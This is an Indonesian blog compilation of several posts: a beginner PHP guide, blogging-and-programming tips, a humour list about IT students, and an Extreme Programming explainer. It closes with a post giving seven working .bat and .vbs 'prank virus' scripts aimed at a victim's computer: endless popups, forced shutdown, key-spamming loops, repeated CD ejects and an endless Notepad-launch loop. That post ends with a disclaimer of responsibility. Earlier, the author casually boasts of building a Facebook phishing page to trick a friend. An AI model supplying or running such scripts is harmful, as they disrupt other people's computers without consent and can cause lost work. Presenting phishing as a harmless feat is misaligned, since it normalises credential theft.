Lima Langkah Awal Menjadi Programmer PHP
Menjadi Programmer mungkin salah satu cita-cita atau keinginan Anda. Tapi mungkin Anda bingung bagaimana memulainya. Berikut ini beberapa tips awal jika Anda ingin menjadi Programmer, khususnya Programmer PHP. Semoga bermanfaat.
1. Niat berbuat sesuatu berguna bagi nusa dan bangsa
Sebelum melakukan segala sesuatu, ada baiknya kita membangkitkan motivasi yang baik terlebih dahulu. Kalo sebagai umat beragama, ada berbagai macam variasi, tapi intinya, kita berniat agar suatu saat kita dapat menghasilkan sesuatu yang bermanfaat bagi semua makhluk. Semoga aktivitas kita bisa menghasilkan sesuatu yang bermanfaat. Hal baik harus diawali dengan niat dan tujuan yang baik juga.

2. Mengenal secara garis besar: Apa itu PHP?
Sebelum memulai mempelajari PHP, pertama-tama, harus tau dulu, apa itu PHP. Siapa pendirinya, tahun berapa PHP mulai dikembangkan, latar belakang munculnya PHP, apa gunanya PHP, dan teknologi-teknologi yang berhubungan dengan PHP. Coba cek di wikipedia untuk mengetahui lebih rinci mengenai PHP.
Anyway... menjawab beberapa hal yang perlu diketahui di atas: Sebelum ada PHP dan sebangsanya, situs-situs web dibuat hanya menggunakan HTML, dicampur sedikit javascript / ecmascript dan atau vbscript. Situs-situs tersebut memiliki keterbatasan yaitu bersifat statik, semacam poster-poster yang ditempel di dinding, biar dilihat oleh sejuta umat manusia, tampilannya ya itu itu aja. Nah... di sinilah PHP dan sebangsanya itu (bangsa "Server Side Scripting") mengubah poster-poster dinding tersebut menjadi lebih interaktif, yaitu isi situs bisa berubah tergantung siapa yang mengakses, kapan diakses, peralatan yang mengakses dan sebagainya.
Lalu apa itu istilah "Server Side Scripting" ? Server Side Scripting adalah istilah untuk program-program seperti PHP, ASP, ColdFusion, dan JSP. Mungkin masih banyak lagi yang lain, tetapi yang saya sebutkan barusan adalah program-program yang lebih dikenal. Seperti julukannya, program-program ini dijalankan di komputer server. Bagi mereka yang kurang paham, waktu kita mengetikkan misalkan phpindonesia.net, komputer kita disebut dengan komputer klien / client, yang meminta halaman web ke komputer yang dituju oleh alamat phpindonesia.net. Program yang dijalankan di komputer server disebut "Server Side", sedangkan yang dijalankan di komputer klien disebut "Client Side".

3. Mengetahui teknologi-teknologi yang berhubungan dengan PHP
Cukup diketahui aja dulu. Belajarnya nanti pelan-pelan. Kalo langsung dipelajari semua, bisa pingsan. Yang paling wajib untuk diketahui adalah HTML. Terdapat beberapa versi HTML. Yang terbaru saat ini (Jan 2013) adalah HTML 5. Untuk mempelajari HTML, sebaiknya tidak langsung ke HTML 5, tetapi mempelajari elemen-elemen dasar bawaan dari HTML 4.0 terlebih dahulu, baru kemudian melanjutkan ke elemen-elemen baru di HTML 5. Atau kalau mau lebih berstandar internasional, sebagai ganti dari HTML 4.0, bisa mempelajari syntax XHTML yang pada intinya sama saja, hanya sedikit lebih strict.
Berkaitan dengan HTML sendiri, terdapat beberapa teknologi lain yang tidak bisa hidup tanpa HTML seperti CSS, Javascript dan vbscript. CSS atau Cascading Style Sheet. Itu semua sudah menjadi wajib dipelajari karena HTML tanpa CSS adalah seperti nasi tanpa lauk. CSS versi terbaru adalah CSS3. Sama seperti hubungan HTML 5 dengan HTML, CSS3 adalah perkembangan dari CSS. Oleh karena itu, menurut Saya, akan lebih  terarah jika mempelajari CSS terlebih dahulu baru kemudian belajar fitur-fitur baru di CSS3.
Dari HTML, CSS dan javascript, javascript adalah yang paling sulit dipelajari, karena sudah merupakan bahasa pemrograman tersendiri. Ditambah lagi saat ini ada library javascript bernama jQuery. Javascript tidak wajib menurut saya, akan tetapi, saat ini sudah sulit ditemukan website profesional yang tidak menggunakan javascript atau jQuery. Meskipun suatu situs dapat dikembangkan tanpa menggunakan jQuery sama sekali, website tersebut akan terasa hambar dibandingkan dengan website profesional yang sudah beredar. Untungnya, meskipun hanya mengerti javascript dasar, ada situs-situs seperti dynamicdrive.com yang menyediakan library-library javascript siap pakai yang keren-keren. Jadi kalau ingin mempercantik website Anda, jangan lupa mengunjungi situs yang barusan disebutkan.
Ada satu teknologi lagi yang kecil tapi maknyus bernama AJAX. Ada beberapa varian dari AJAX yang bisa dilihat di sini, Teknologi ini memungkinkan kita untuk memanggil / mengupdate isi situs tanpa meload ulang keseluruhan satu halaman situs, melainkan hanya satu elemen halaman saja. Saya tidak menyarankan mempelajari AJAX secara langsung, tetapi cukup menggunakan fungsi AJAX yang sudah disediakan pada library jQuery. Begitu lebih cepat dan terjamin.
Sebenernya sih HTML, CSS dan jQuery hanya sedikit-sedikit aja yang wajib dikuasai. Oh ya by the way... untuk belajar HTML dan CSS, dan mungkin javascript, salah satunya bisa belajar di situs w3schools.com. Situs tersebut materinya singkat, jelas dan padat. Sehingga akan sangat mempercepat proses belajar.
Masih ada satu lagi. Yaitu Database Server. Database Server adalah suatu aplikasi yang digunakan untuk menampung data-data. Data-data inilah yang akan diproses oleh PHP. Terdapat berbagai pilihan rasa dan merk untuk barang yang satu ini, antara lain, mulai dari yang paling terkenal: MySQL, Microsoft SQL Server, Microsoft Access, dan PostgreSQL. Anyway... kalo misalnya sudah canggih, mungkin bisa mempertimbangkan MariaDB yang merupakan turunan dari MySQL.
4. Miliki program-program untuk mengutak-atik PHP
Sesungguhnya belajar PHP sudah dimulai sejak Anda membaca tulisan-tulisan di atas. Akan tetapi banyak orang, termasuk Saya, baru benar-benar merasa belajar PHP jika sudah membuat sebuah program sederhana. Nah... untuk membuat program PHP, kita harus mempersiapkan peralatan perang. Antara lain berupa sebuah "Web Server", PHP itu sendiri dan "Database Server".
Web server, pada umumnya cukup diinstall satu kali saja dan dia akan melayani kita seumur hidupnya. Web Server bisa berupa IIS atau Apache atau Tomcat. Saya pribadi lebih cenderung menggunakan Apache.
Untuk pemula, seperti Saya, daripada pusing-pusing install tiga macam software, Saya memilih menginstall satu saja paket software yang sudah jadi. Terdapat dua pilihan rasa untuk ini, yaitu XAMPP ATAU Appserv. Pilihannya terserah Anda. Ngomong-ngomong... tulisan "ATAU" di atas saya bold, italic dan underline, karena menurut pengalaman saya, kita tidak dapat menginstall kedua-keduanya karena akan bentrok. Dan menguninstall salah satu dan menginstall yang lainnya akan menyebabkan instalasi yang kurang sempurna.
Kalau sudah menginstall XAMPP, maka kita sudah memiliki Apache, MySQL dan PHP pada komputer kita (jangan lupa di "start" lewat XAMPP control panel). Selanjutnya kita perlu suatu program yang dapat membantu kita mengetikkan program PHP dengan baik dan benar, atau bahasa kerennya IDE (Integrated Development Environment). Untuk IDE, kita bisa menginstall beberapa macam sekaligus. Saya sendiri menginstall Adobe Dreamweaver, Notepad++ dan Netbeans di komputer Saya. Terakhir Saya lebih suka menggunakan Netbeans untuk membuat program PHP karena bersifat gratis, meskipun berat.

5. Pelajari PHP
Setelah menginstall program-program di atas, berikutnya adalah mengetahui seluk beluk PHP dan membuat programnya. Paling tidak adalah mengetahui mengenai:
  • Lokasi penempatan file-file website PHP yang akan kita buat. Yaitu defaultnya di C:/xampp/htdocs jika menggunakan XAMPP, C:/appserv/www jika menggunakan appserv. Kalau menggunakan IIS.
  • Kode program untuk menampilkan tulisan hello world: <html><head><title>Program Hello World</title></head><body><?php echo "Hello World"; ?> </body></html>. *Untuk mencoba, copy teks dari <html> sampai </html> ke dalam notepad, dan simpan dengan nama hello.php ke dalam C:/xampp/htdocs/hello.php.
  • Untuk menjalankan / melihat hasil dari program PHP yang dibuat, masuk ke browser dan ketikkan "localhost/nama/file/script/yang/dibuat.php", misalkan "localhost/hello.php" pada contoh di atas.
  • Untuk mengelola database, gunakan phpmyadmin. Jika menggunakan xampp atau appserv, cukup ketikkan localhost pada browser dan cari link yang ada tulisan "phpMyAdmin"nya.
  • Jika misalkan gagal menjalankan prosedur di atas, coba ganti tulisan localhost dengan 127.0.0.1.
  • Jika gejala tetap berlanjut, hubungi dokter bila perlu.
Mengenai syntax syntax PHP, dapat dipelajari di situs w3schools atau tanya ke forum. Tapi kalo kebelet, mungkin bisa langsung lihat manual PHP: php_manual_en.php. Oke... segitu dulu. Selamat belajar PHP.

Lima Langkah Awal Menjadi Programmer PHP Handal

Blogger Programmer
Blogger Programmer
Tips Untuk Menjadi Programmer dan Blogger - Dunia Online kini makin diminati oleh sebagian besar orang diseluruh dunia untuk menari dan mendapatkan penghasilan.Yap ! Sebenarnya dunia Online tidak hanya tentang Media Sosial seperti yang banyak orang Indonesia pikirkan.



Nyatanya banyak orang di luar Indonesia sukses menjadi seorang dengan menggunakan dunia online sebagai pekerjaan pokoknya. Salah satu yang cukup populer adalah menjadi penayang iklan adsense melaui blog atau yang biasa dikenal Blogger.

Blogger memiliki pekerjaan Menulis. Menulis sebenarnya hal yang mudah tapi ide tidak selamanya mudah didapatkan. Selain Blogger, pekerjaan dunia online yang cukup menarik, bahkan disebut - sebut sebagai pekerjaan keren bagi sebagian besar orang, Programmer !

Yap ! Menjadi Programmer juga menjadi pekerjaan teren IT sepanjang masa. Hal ini karena dunia online semakin lama akan semakin bekembang, jika tidak bisa bahasa pemrograman maka kita akan seperti buta huruf nantinya. Selain itu pekerjaan IT Security juga memerlukan skill lebih besar dan banyak kedepannya.

APA PERSAMAAN KEDUANYA ?

Karena pada post kali ini saya kan membagikan tips menjadi seorang Blogger sekaligus Programmer, maka kita harus kenal lebih dahulu bagaimana cara masing - masing pekerjaan itu dilakukan.
Pekerjaan Blogger dan Programmer adalah menulis. Yap ! Cukup menulis saja, tapi tidak semudah itu. Seorang Blogger memerlukan kemampuan Otak Kanan untuk bisa merangkai kata - kata agar para visitornya betah berada di Blognya.
Sedangkan Programmer harus memiliki kemampuan dari Otak Kiri maupun Kanan. Otak kanan untuk bisa mempelajari dan mengingat bahasa Program yang ia pilih. Otak kiri digunaan untuk memikirkan Algoritma atau alur bekerja seorang Programmer.
Karena secara garis besar pekerjaan Blogger dan Programmer adalah sama, maka kali ini Otak Keren akan memberikan tips bagi kalian semua untuk menjadi Blogger sekaligus menjadi Programmer, seperti yang Admin sendiri lakukan.

TIPS MENJADI BLOGGER DAN PROGRAMMER

Dalam post kali ini saya akan memberikan tips yang mudah dan simple bahkan bagi pemula sekalipun. Pada tips ini kita tidak perlu menjadi master untuk memangku pekerjaan Blogger dan Programmer, cukup jadi salah satunya dan jadilah keduanya !

1. Teknik Improve : Pada tips yang pertama saya namakan Improve. Yap ! Improve artinya kembangkan. Jadi dalam kasus ini saya asumsikan Blogger lebih mudah kerjanya dibanding Programmer, maka cukuplah dengan membuat Blog yang berkaitan dengan Teknologi.
Sambil lalu, belajarlah sebuah bahasa Program, jika kamu memang suk berada pada blogmu sendiri dan ingin memodifikasinya sendiri, kamu bisa belajar bahasa JavaScript terlebih dahulu, barulah beranjak ke HTML dan juga dilanjutkan CSS. Atau kamu ingin mencoba bahasa lainnya, cek 'Bahasa Program untuk Anak Baru' di Otak Keren.
Baca Juga : Bahasa Program Baru untuk Dipelajari
2. Teknik Write Back : Yang kedua, adalah masa dimana sobat sudah terlebih dahulu menjadi seorang Programmer dan ingin menambah pekerjaan sampingan, maka teknik ini bisa sobat implementsikan.
Sebagai seorang Programmer maka sobat pasti punya banya ide IT cemerlang dan segudang code untuk dibagikan. Oleh karena itu, selain membagikannya mealui Git, bagikan juga di blogmu. Tulis kembali codemu dengan sedikit penjelasan agar ilmumu tersalurkan sepenuhnya kepada orang lain.
Cara ini juga sukses membuat amal baik kita bertambah. Terlebih lagi kamu menuliskan tutorial yang konten dalam bahaa Indonesianya belum ada. Programmer cenderung lebih mudah mempelajari bahasa asing karena bahasa program sendiri sejatinya adalah bahasa asing ( mesin ) maka dengan menjadi penerjemah tutorial juga akan membantu para visitor blogmu.
3. Teknik Otak Keren : Kenapa saya sebut teknik Otak Keren ? Karena teknik ini adalah teknik yang saya pakai berdasar pengalaman pribadi. Jadi saya sejatinya sudah membuat Blog sejak SD, saya sudah cukup mengerti kata SEO waktu itu tapi belum menerapkannya.
Kemudian, saya suka juga melihat code - code program. Menurut saya itu keren, bahkan saya membuat phising Facebook dan sukses menjebak teman saya. Tapi baru sekaranglah saya mulai menulis konten yang baik sekaligus menjadi seorang Programmer.
Jadi, bisa dibilang teknik ketiga ini adalah teknik campuran dari no 1 dan 2. Pertama adalah pahami blog dulu, tetapi saya kemudian berhenti. Berevolusi menjadi Programmer dan kembali menulis blog. Maka dari sini saya tidak hanya bisa menulis artikel tentang Teknologi, karena bakat Blogger sebelumnya juga bisa berpotensi pada lain bidang.

KESIMPULAN

Jadi, Teknik tersebut saya kembangkan berdasarkan pengalaman sehari - hari yang mungkin membantu teman - teman yang ingin mengembangkan sayap, atau sekedar menggali potensi diri lebih dalam lagi dan meraih penghasilan dari sana.

Tips Terbaik Untuk Menjadi Programmer dan Blogger

Teknologi Informasi (TI), atau dalam bahasa Inggris dikenal dengan istilah Information technology (IT) adalah istilah umum untuk teknologi apa pun yang membantu manusia dalam membuat, mengubah, menyimpan, mengomunikasikan dan/atau menyebarkan informasi.
Jurusan Ilmu Komputer itu adalah jurusan yang mempelajari segala hal yang berkaitan dengan komputer, baik dari segi Hardware maupun softwarenya. Bagi yang berminat di bidang Hardware lebih baik mengambil jurusan teknik komputer, sedangkan bagi yang lebih berminat pada bidang software dapat memperdalam di jurusan Teknik Informatika. Menurut Wikipedia, Ilmu komputer (bahasa Inggris: Computer Science), secara umum diartikan sebagai ilmu yang mempelajari baik tentang komputasi, perangkat keras (hardware) maupun perangkat lunak (software). Ilmu komputer mencakup beragam topik yang berkaitan dengan komputer, mulai dari analisa abstrak algoritma sampai subyek yang lebih konkret seperti bahasa pemrograman, perangkat lunak, termasuk perangkat keras. Sebagai suatu disiplin ilmu, Ilmu Komputer lebih menekankan pada pemrograman komputer, dan rekayasa perangkat lunak (software), sementara teknik komputer lebih cenderung berkaitan dengan hal-hal seperti perangkat keras komputer (hardware). Namun demikian, kedua istilah tersebut sering disalah-artikan oleh banyak orang.

Dan ini merupakan pertanyaan-pertanyaan yang sering di tanyakan, karena kurang paham tentang kerjaan anak IT, dan kejadian ini sering di temukan di kalangan IT.

1. Bisa Hack FB?
Image Source fokusjabar.com
Pasti yang anak IT udah pernah dong?, pasti jawabnya, yah emang di kira gampang! Loh kok gak bisa, kan anak IT. Emang dikira facebook website kemarin sore apa?. Bagaimanapun sulit buat hack facebook karena disana banyak para master yang jauh dibandingkan kita.

2. Tukang Reparasi All in One
Image Source bdalbum.com
Di minta memperbaiki MicroSD atau Flashdisk yang mungkin tidak terbaca atau bahkan rusak, dan pernahkan kalian dusuruh memperbaiki Laptop yang mati membisu?. Bahkan aku pernah diminta emak buat memperbaiki kulkas yang nggak nyala.
3. Disuruh ngelacak nomor orang lain.
Image Source rajatekno.net
Untuk melacak nomor orang yang munkin dicari carinya, gak punya akses dari operator selular, Masa iya harus ngebobol server operator untuk ngelacak nomor

4. Memperbaiki komputer/Laptop yang Lemot!
Image Source bedahtekno.com
Masalahnya yaitu banyak aplikasi aplikasi yang gakjelas yang menjadi biang kerok di laptopnya, uninstal aplikasi yang gakjelas, Defrag, Optimize , Clean Junk dst. Selain itu perawatan hardware yang nggak diperhatiin.

5. Punya semua jenis Software
Image Source masterdownload.blogspot.com
Pernahkah kaliah di mintain software + Crack nya?
Tapi mau di bilang ga punya software, nanti di bilang bohong,pelit, masa gak punya!

6. Master of All Element
Image Source ratemydrawings.com

"Tolong edit fotoku biar agak putih sedikit dong," Kamu anak IT pasti pernah mendengar permintaan semacam itu. Padahal anak IT itu nggak ada hubungannya sama design grafis lho. Karena itu sudah bagian dari pekerjaan seni bukan IT atau MMB. 

Mungkin mereka pikir anak IT itu keren, tapi sebernarnya nggak, yang ada Pusing kepala babie.
Jadi anak IT itu punya spesialisnya sediri seperti, Software Development, Networing, Technical Support, Database administrator dan apapun itu macem macem, yang pasti kita gak bisa nguasain semua itu. Bagaimanpun manusia hanya bisa menguasai beberapa hal saja.

Pertanyaan-Pertanyaan Berikut Pasti Anak IT Pernah Dengar

Kita pasti sudah mengenal istilah Programmer, yaitu orang yang membuat suatu program aplikasi / software. Dalam pembuatan Software itu sendiri bisa dilakukan secara kelompok atau sendirian tergantung tingkat kesulitannya. Dalam pembuatan softaware biasanya terbagi menjadi beberapa kelompok yang mengerjakan hal yang berbeda. Ada yang membuat program, ada yang melakukan uji coba dan ada juga yang melakukan implementasi. Lalu apa hubungannya dengan “Extreme Programming” ?
Pengertian Extreme Programming
Extreme Programming (berikutnya akan disingkat sebagai XP) adalah sebuah pendekatan atau model pengembangan perangkat lunak yang mencoba menyederhanakan berbagai tahapan dalam proses pengembangan tersebut sehingga menjadi lebih adaptif dan fleksibel. XP bukan hanya berfokus pada coding tetapi meliputi seluruh area pengembangan perangkat lunak. XP mengambil pendekatan ‘ekstrim’ dalam iterative development.
XP Pertama kali diusulkan oleh Kent Beck dan Ward Cunningham pada bulan Maret 1996, asal mula XP digunakan karena pada saat itu permintaan dari customer yang sering berubah dengan cepat sehingga mengakibatkan putaran kehidupan metode pengembangan perangkat lunak tradisional menjadi lebih pendek dan tidak selaras dengan metode tradisional karena pada umumnya memerlukan desain yang luas dan itu mengakibatkan perubahan desain yang terjadi dan tentu saja memerlukan biaya yang lebih tinggi. Tujuan XP adalah meminimalisir biaya yang diperlukan jika ada perubahan dalam pengembangan perangkat lunak.
Aspek dasar XP terdiri dari berbagai teknik atau metode yang diterapkan Beck dan Jeffries pada C3 Project. Teknik-teknik tersebut antara lain:
 
  • Whole Team
    Seluruh kontributor dalam proyek yang menggunakan pendekatan XP duduk bersama sebagai suatu tim. Tim ini terdiri beberapa peran, antara lain programmer, penguji,orang yang mengerti bisnis, analis, manajer, dan lain-lain. Setiap peran yang ada tidak mutlak menjadi peran dari satu orang saja. Tim terbaik dalam XP tidak harus memiliki pakar, hanya kontributor umum dengan keterampilan khusus saja. Semua orang di tim XP memberikan kontribusi dengan cara apapun yang mereka dapat lakukan.
    • Planning game
    Perencanaan dalam XP mengemukakan dua pertanyaan kunci dalam pengembangan perangkat lunak, yaitu  memprediksi apa yang akan dicapai pada waktu tertentu, dan menentukan apa yang harus dilakukan setelah itu. Ada dua langkah kunci dalam perencanaan XP, yang menangani dua pertanyaan tersebut:
    1. Release Planning yaitu praktek dimana Customer mengutarakan fitur yang diinginkannya ke programer, dan programer memperkirakan tingkat kesulitannya. Dengan estimasi biaya di tangan, dan dengan pengetahuan tentang pentingnya fitur yang diinginkan, Pelanggan meletakkan satu rencana untuk proyek tersebut. Rencana rilis awal yang selalu tepat: baik prioritas maupun perkiraan yang benar-benar solid, dan sampai tim mulai bekerja, kita tidak akan tahu seberapa cepat mereka akan pergi. Bahkan rencana rilis pertama cukup akurat untuk pengambilan keputusan, namun, dan tim XP melakukan revisi terhadap rencana rilis secara teratur.2. Iteration Planning adalah praktek di mana tim diberikan petunjuk atau arahan setiap beberapa minggu sekali. Tim XP membangun perangkat lunak dalam “iterasi” dua minggu, memberikan menjalankan perangkat lunak yang berguna pada setiap akhir iterasi. Selama Iteration Planning, Customer mengutarakan fitur yang diinginkan selama dua minggu ke depan. Para programer memecahnya ke dalam pekerjaan yang lebih kecil, dan memperkirakan biaya yang diperlukan.
  • Customer TestsSebagai bagian dari presentasi masing-masing fitur yang diinginkan, Customer XP mendefinisikan satu atau lebih  tes penerimaan otomatis untuk menunjukkan bahwa fitur tersebut bekerja dengan baik. Tim membangun tes ini dan menggunakannya untuk membuktikan pada kepada Customer bahwa fitur ini telah diimplementasikan dengan benar. Tes secara otomatis ini penting karena dalam XP hanya diberikan waktu yang singkat sehingga tes manual tidak akan digunakan karena memakan waktu yang lama.
    • Small Release
    Pada setiap Iterasi, tim mengerjakan sebuah unit atau bagian dari perangkat lunak, melakukan tes terhadap unit perangkat lunak yang dibangun, kemudian di akhir iterasi perangkat lunak yang dibangun diberikan kepada Customer. Oleh customer, perangkat lunak ini bisa dijadikan bahan evaluasi maupun langsung dirilis kepada end user. Bisa juga tim XP langsung merilis ke end user secara rutin.
    • Simple Design
    Tim XP membangun perangkat lunak dengan desain yang sederhana. Dimulai dengan desain yang sederhana, kemudian melalui pengujian program dan perbaikan desain. Desain yang dibuat harus benar-benar cocok untuk fungsi saat ini dari sistem sehingga tidak ada yang sia-sia dan perangkat lunak siap dikembangkan lagi selanjutnya. Namun, pembuatan desain dalam XP tidak dilakukan hanya sekali. Tahapan desain dalam Extreme Programming yang menghasilkan desain yang bagus dianggap sangat penting, sehingga selama proses development banyak difokuskan ke tahapan desain.
    • Pair Programming
    Semua perangkat lunak yang dibangun dengan pendekatan XP dibangun oleh dua orang programmer. Keduanya duduk berdampingan di satu komputer yang sama. Seorang programmer akan membuat code dan programmer yang lainnya akan mengoreksinya. Praktik seperti ini mungkin kelihatan tidak efisien. Namun dari segi hasil dari pair programming, desain akan lebih baik, pengujian lebih baik, dan code yang dihasilkan pun akan lebih baik.
    • Test-Driven Development
    XP begitu terobsesi dengan umpan balik, dan dalam pengembangan perangkat lunak, umpan balik yang baik mensyaratkan pengujian yang baik pula. Test-Driven Development bergantung pada pengulangan siklus development yang sangat pendek. Pertama tim XP akan menuliskan automated test case yang mendefinisikan perbaikan yang diinginkan atau fungsi baru. Kemudian dari test case tersebut dihasilkan jumlah minimal code yang harus dituliskan untuk lulus tes tersebut. Setelah itu melakukan refactoring code baru agar memenuhi standar baru.
    • Design Improvement
    XP berfokus pada memberikan nilai bisnis dalam setiap perulangan. Agar dapat mencapai tujuan tersebut selama proyek berlangsung, perangkat lunak harus dirancang dengan baik. XP menggunakan proses perbaikan desain secara terus menerus dengan Refactoring. Proses refactoring berfokus pada penghapusan duplikasi dari code yang telah dibuat. Disamping itu, proses refactoring didukung dengan pengujian yang komprehensif utnuk memastikan bahwa desain yang dibuat berkembang dan tiidak ada yang rusak.
    • Continuous Integration
    Beberapa kali dalam sehari, tim XP akan menggabungkan seluruh salinan pekerjaan tim menjadi satu dalam jaringan utama. Sehingga tim XP harus menjaga tim agar terintegrasi setiap saat.
    • Collective Code Ownership
    Pada proyek XP, setiap pasang programmer dapat meningkatkan code apapun setiap saat. Semua code yang ada dimiliki secara kolektif oleh tim. Manfaatnya setiap code akan mendapat perhatian dari banyak orang, sehingga dapat meningkatkan kualitas code dan mengurangi cacat. Selain itu dapat mengurangi duplikasi code yang sama walaupun dibuat oleh pasangan programmer yang berbeda.
    • Coding Standard
    Setiap anggota tim XP harus mengikuti standar coding yang umum, sehingga semua code dalam sistem seolah-olah tampak dibuat oleh satu orang yang sangat kompeten. Selain itu hal ini sangat mendukung Collective Code Ownership.
    • Metaphor
    Tim XP akan membuat suatu deskripsi umum bagaimana program yang mereka kembangkan bekerja dengan benar.
    • Sustainable Pace
    Tim XP akan bekerjasama dalam jangka waktu lama. Mereka bekerja keras dengan kecepatan tertentu tanpa batas waktu. Tim XP akan bekerja lembur pada hari efektif dan memaksimalkan produktivitas setiap minggunya.  Hal ini perlu diperhatikan dengan baik, karena akan mengurangi produktivitas atau sebaliknya menghasilkan perangkat lunak yang berkualitas.

Apa itu Extreme Programming (XP)



Halo Sobat Blogger Kembali Lagi Di Dunia CODE. Pada Artikel Kali Ini Saya Akan Memberikan Script Jail Untuk Menggangu Komputer Korban. Buatnya Ga Susah Susah Kok Kalian Cuma Butuh Notepad Saja. Bagaimana Cara Membuatnya Dan Seperti Apa Scriptnya Yuk Kita Liat


1. Message Yang Muncul Terus Menerus

@ECHO off
:Begin
msg * Hayo Lo PC lu Kena Hek
msg * Mau Lawan Heker lu
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * etss, jgn di inul ok aja terus ntar ilang sendiri
GOTO BEGIN

=> Save Dengan Ekstensi .bat

2. Bikin Shutdown + Messages

@ECHO off
msg * Apaan sih lu
shutdown -s -c "Error! muka mu standar abis"

=> Save Dengan Ekstensi .bat

3. Capslock Menyala Terus Menerus


Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

=> Save Dengan Ekstensi .vbs

4. Buka Tutup CD/DVD Secara Otomatis 

Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

=> Save Dengan Ekstensi .vbs 
5. Menekan Tombol Backspace Secara Terus Menerus


MsgBox "kembali ke menu sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

=> Save Dengan Ekstensi .vbs

6. Membuka Notepad Teru Menerus 

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

=> Save Dengan Ekstensi .bat

7. Otomatis Ngetik "PC LU KENA HEK" Di Notepad 
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "PC LU KENA HEK "
loop

=> Save Dengan Ekstensi .vbs


Note: Apabila Terjadi Hal Hal Yang Tidak Diinginkan Saya Tidak Akan Bertanggung Jawab Karena Kalian Sendiri Lah Yang Menggunakannya

        Mungkin Itu Saja Yang Dapat Saya Sampaikan Pada Artikel Kali Ini Apabila Ada Yang Ingin Ditanyakan Silahkan Berkomentar. Terimakasih Telah Berkunjung Ke Blog Saya.

Membuat Virus Jail Di Komputer